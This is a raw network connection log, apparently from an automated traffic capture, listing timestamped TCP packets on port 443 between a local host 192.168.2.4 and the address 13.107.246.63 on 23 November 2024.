Nov 23, 2024 17:45:35.536304951 CET	443	49838	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:35.624975920 CET	443	49834	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:35.625050068 CET	443	49834	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:35.625160933 CET	49834	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:35.625400066 CET	49834	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:35.625420094 CET	443	49834	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:35.625430107 CET	49834	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:35.625436068 CET	443	49834	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:35.628405094 CET	49839	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:35.628443956 CET	443	49839	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:35.628511906 CET	49839	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:35.628639936 CET	49839	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:35.628652096 CET	443	49839	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:36.287282944 CET	443	49835	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:36.287729025 CET	49835	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:36.287770987 CET	443	49835	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:36.288182974 CET	49835	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:36.288197041 CET	443	49835	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:36.369108915 CET	443	49836	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:36.369688988 CET	49836	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:36.369714022 CET	443	49836	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:36.370157957 CET	49836	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:36.370163918 CET	443	49836	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:36.505532026 CET	443	49837	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:36.506129980 CET	49837	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:36.506149054 CET	443	49837	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:36.506562948 CET	49837	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:36.506567955 CET	443	49837	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:36.769248009 CET	443	49835	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:36.769412041 CET	443	49835	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:36.769484043 CET	49835	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:36.769604921 CET	49835	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:36.769639969 CET	443	49835	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:36.769668102 CET	49835	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:36.769682884 CET	443	49835	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:36.772630930 CET	49840	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:36.772675991 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:36.772783995 CET	49840	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:36.772949934 CET	49840	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:36.772967100 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:36.890206099 CET	443	49836	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:36.890227079 CET	443	49836	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:36.890271902 CET	49836	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:36.890289068 CET	443	49836	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:36.890300989 CET	443	49836	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:36.890347958 CET	49836	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:36.890631914 CET	49836	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:36.890645981 CET	443	49836	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:36.890656948 CET	49836	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:36.890661955 CET	443	49836	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:36.894061089 CET	49841	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:36.894089937 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:36.894155025 CET	49841	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:36.894356966 CET	49841	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:36.894370079 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:36.972377062 CET	443	49837	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:36.974903107 CET	443	49837	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:36.975007057 CET	49837	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:36.975047112 CET	49837	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:36.975064993 CET	443	49837	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:36.975074053 CET	49837	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:36.975079060 CET	443	49837	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:36.977660894 CET	49842	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:36.977754116 CET	443	49842	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:36.977849007 CET	49842	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:36.977976084 CET	49842	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:36.978010893 CET	443	49842	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:37.376529932 CET	443	49838	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:37.377106905 CET	49838	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:37.377121925 CET	443	49838	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:37.377661943 CET	49838	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:37.377666950 CET	443	49838	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:37.565907955 CET	443	49839	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:37.566533089 CET	49839	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:37.566549063 CET	443	49839	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:37.566989899 CET	49839	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:37.566994905 CET	443	49839	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:37.825351954 CET	443	49838	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:37.825422049 CET	443	49838	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:37.825501919 CET	49838	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:37.825692892 CET	49838	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:37.825715065 CET	443	49838	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:37.825723886 CET	49838	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:37.825731039 CET	443	49838	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:37.828767061 CET	49843	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:37.828803062 CET	443	49843	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:37.828893900 CET	49843	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:37.829054117 CET	49843	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:37.829061985 CET	443	49843	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:38.059494972 CET	443	49839	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:38.059519053 CET	443	49839	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:38.059617043 CET	49839	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:38.059632063 CET	443	49839	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:38.059850931 CET	49839	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:38.059864044 CET	443	49839	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:38.059875965 CET	49839	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:38.060026884 CET	443	49839	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:38.060066938 CET	443	49839	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:38.060106993 CET	49839	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:38.062792063 CET	49844	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:38.062830925 CET	443	49844	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:38.062938929 CET	49844	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:38.063098907 CET	49844	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:38.063112020 CET	443	49844	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:38.705564976 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:38.706466913 CET	49840	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:38.706511021 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:38.706908941 CET	49840	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:38.706919909 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:38.834870100 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:38.835469961 CET	49841	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:38.835486889 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:38.835912943 CET	49841	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:38.835918903 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:38.894251108 CET	443	49842	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:38.894704103 CET	49842	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:38.894736052 CET	443	49842	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:38.895118952 CET	49842	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:38.895132065 CET	443	49842	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:39.205563068 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:39.205616951 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:39.205725908 CET	49840	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:39.205756903 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:39.205810070 CET	49840	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:39.210740089 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:39.210863113 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:39.210927010 CET	49840	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:39.215981960 CET	49840	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:39.216011047 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:39.216036081 CET	49840	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:39.216048956 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:39.228902102 CET	49845	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:39.228944063 CET	443	49845	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:39.229007006 CET	49845	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:39.229700089 CET	49845	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:39.229715109 CET	443	49845	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:39.296717882 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:39.296768904 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:39.296833992 CET	49841	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:39.296847105 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:39.297734022 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:39.297789097 CET	49841	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:39.354532003 CET	443	49842	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:39.357484102 CET	443	49842	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:39.357557058 CET	49842	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:39.367279053 CET	49841	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:39.367295980 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:39.367306948 CET	49841	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:39.367317915 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:39.491683960 CET	49842	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:39.491684914 CET	49842	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:39.491724014 CET	443	49842	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:39.491750956 CET	443	49842	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:39.502443075 CET	49846	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:39.502496004 CET	443	49846	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:39.502607107 CET	49846	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:39.507325888 CET	49847	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:39.507363081 CET	443	49847	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:39.507416010 CET	49847	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:39.508913994 CET	49846	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:39.508927107 CET	443	49846	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:39.509285927 CET	49847	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:39.509299040 CET	443	49847	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:39.721131086 CET	443	49843	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:39.721767902 CET	49843	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:39.721777916 CET	443	49843	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:39.722486973 CET	49843	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:39.722491026 CET	443	49843	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:39.942827940 CET	443	49844	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:39.943444967 CET	49844	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:39.943465948 CET	443	49844	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:39.943866014 CET	49844	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:39.943871975 CET	443	49844	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:40.184778929 CET	443	49843	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:40.187905073 CET	443	49843	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:40.191345930 CET	49843	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:40.191402912 CET	49843	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:40.191416025 CET	443	49843	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:40.191425085 CET	49843	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:40.191428900 CET	443	49843	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:40.194078922 CET	49848	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:40.194168091 CET	443	49848	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:40.194258928 CET	49848	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:40.194406986 CET	49848	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:40.194451094 CET	443	49848	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:40.391979933 CET	443	49844	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:40.395277977 CET	443	49844	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:40.395358086 CET	49844	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:40.395395041 CET	49844	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:40.395407915 CET	443	49844	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:40.395421028 CET	49844	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:40.395426035 CET	443	49844	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:40.398159027 CET	49849	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:40.398190022 CET	443	49849	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:40.398252964 CET	49849	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:40.398402929 CET	49849	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:40.398416042 CET	443	49849	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:41.040525913 CET	443	49845	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:41.043720007 CET	49845	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:41.043736935 CET	443	49845	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:41.044189930 CET	49845	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:41.044194937 CET	443	49845	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:41.228836060 CET	443	49846	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:41.229439020 CET	49846	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:41.229461908 CET	443	49846	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:41.229888916 CET	49846	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:41.229893923 CET	443	49846	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:41.295191050 CET	443	49847	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:41.295865059 CET	49847	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:41.295895100 CET	443	49847	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:41.296287060 CET	49847	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:41.296292067 CET	443	49847	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:41.485316992 CET	443	49845	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:41.488810062 CET	443	49845	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:41.488890886 CET	49845	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:41.488965988 CET	49845	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:41.488986969 CET	443	49845	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:41.488996983 CET	49845	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:41.489003897 CET	443	49845	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:41.491622925 CET	49850	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:41.491717100 CET	443	49850	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:41.491820097 CET	49850	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:41.491941929 CET	49850	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:41.491976976 CET	443	49850	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:41.664275885 CET	443	49846	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:41.667798996 CET	443	49846	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:41.669632912 CET	49846	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:41.669719934 CET	49846	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:41.669719934 CET	49846	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:41.669739962 CET	443	49846	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:41.669751883 CET	443	49846	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:41.671924114 CET	49851	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:41.671962023 CET	443	49851	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:41.672058105 CET	49851	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:41.672189951 CET	49851	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:41.672202110 CET	443	49851	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:41.754765034 CET	443	49847	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:41.758054972 CET	443	49847	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:41.758225918 CET	49847	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:41.758359909 CET	49847	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:41.758374929 CET	443	49847	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:41.758384943 CET	49847	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:41.758390903 CET	443	49847	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:41.760791063 CET	49852	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:41.760818005 CET	443	49852	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:41.760888100 CET	49852	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:41.761029959 CET	49852	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:41.761044025 CET	443	49852	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:41.991199970 CET	443	49848	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:42.022423983 CET	49848	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:42.022449017 CET	443	49848	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:42.030267954 CET	49848	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:42.030282974 CET	443	49848	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:42.186995983 CET	443	49849	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:42.187398911 CET	49849	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:42.187423944 CET	443	49849	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:42.187819958 CET	49849	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:42.187824011 CET	443	49849	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:42.442790031 CET	443	49848	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:42.446033001 CET	443	49848	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:42.446098089 CET	49848	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:42.446177959 CET	49848	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:42.446177959 CET	49848	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:42.446209908 CET	443	49848	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:42.446237087 CET	443	49848	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:42.449050903 CET	49853	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:42.449122906 CET	443	49853	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:42.449198008 CET	49853	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:42.449340105 CET	49853	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:42.449372053 CET	443	49853	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:42.638573885 CET	443	49849	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:42.642241001 CET	443	49849	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:42.642297029 CET	49849	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:42.642369986 CET	49849	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:42.642375946 CET	443	49849	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:42.642391920 CET	49849	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:42.642395973 CET	443	49849	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:42.645270109 CET	49854	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:42.645301104 CET	443	49854	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:42.645364046 CET	49854	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:42.645556927 CET	49854	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:42.645570040 CET	443	49854	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:43.361212969 CET	443	49850	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:43.361839056 CET	49850	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:43.361879110 CET	443	49850	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:43.362344027 CET	49850	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:43.362358093 CET	443	49850	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:43.661725044 CET	443	49852	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:43.662390947 CET	49852	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:43.662406921 CET	443	49852	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:43.662816048 CET	49852	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:43.662820101 CET	443	49852	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:43.709095955 CET	443	49851	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:43.709764004 CET	49851	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:43.709773064 CET	443	49851	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:43.710355043 CET	49851	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:43.710360050 CET	443	49851	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:43.830955982 CET	443	49850	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:43.834204912 CET	443	49850	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:43.837816000 CET	49850	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:43.837882042 CET	49850	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:43.837882042 CET	49850	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:43.837907076 CET	443	49850	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:43.837930918 CET	443	49850	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:43.840801001 CET	49855	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:43.840890884 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:43.841006994 CET	49855	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:43.841150999 CET	49855	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:43.841181040 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:44.109797955 CET	443	49852	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:44.112989902 CET	443	49852	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:44.113095999 CET	49852	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:44.113122940 CET	49852	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:44.113122940 CET	49852	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:44.113135099 CET	443	49852	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:44.113142967 CET	443	49852	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:44.115701914 CET	49856	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:44.115789890 CET	443	49856	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:44.115880966 CET	49856	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:44.116024971 CET	49856	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:44.116060019 CET	443	49856	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:44.162689924 CET	443	49851	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:44.168375969 CET	443	49851	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:44.168462992 CET	49851	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:44.168514013 CET	49851	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:44.168528080 CET	443	49851	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:44.168540001 CET	49851	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:44.168545961 CET	443	49851	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:44.170730114 CET	49857	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:44.170761108 CET	443	49857	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:44.170914888 CET	49857	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:44.171118975 CET	49857	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:44.171134949 CET	443	49857	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:44.242707014 CET	443	49853	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:44.244254112 CET	49853	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:44.244322062 CET	443	49853	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:44.244724035 CET	49853	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:44.244738102 CET	443	49853	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:44.495548010 CET	443	49854	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:44.495970011 CET	49854	443	192.168.2.4	13.107.246.63
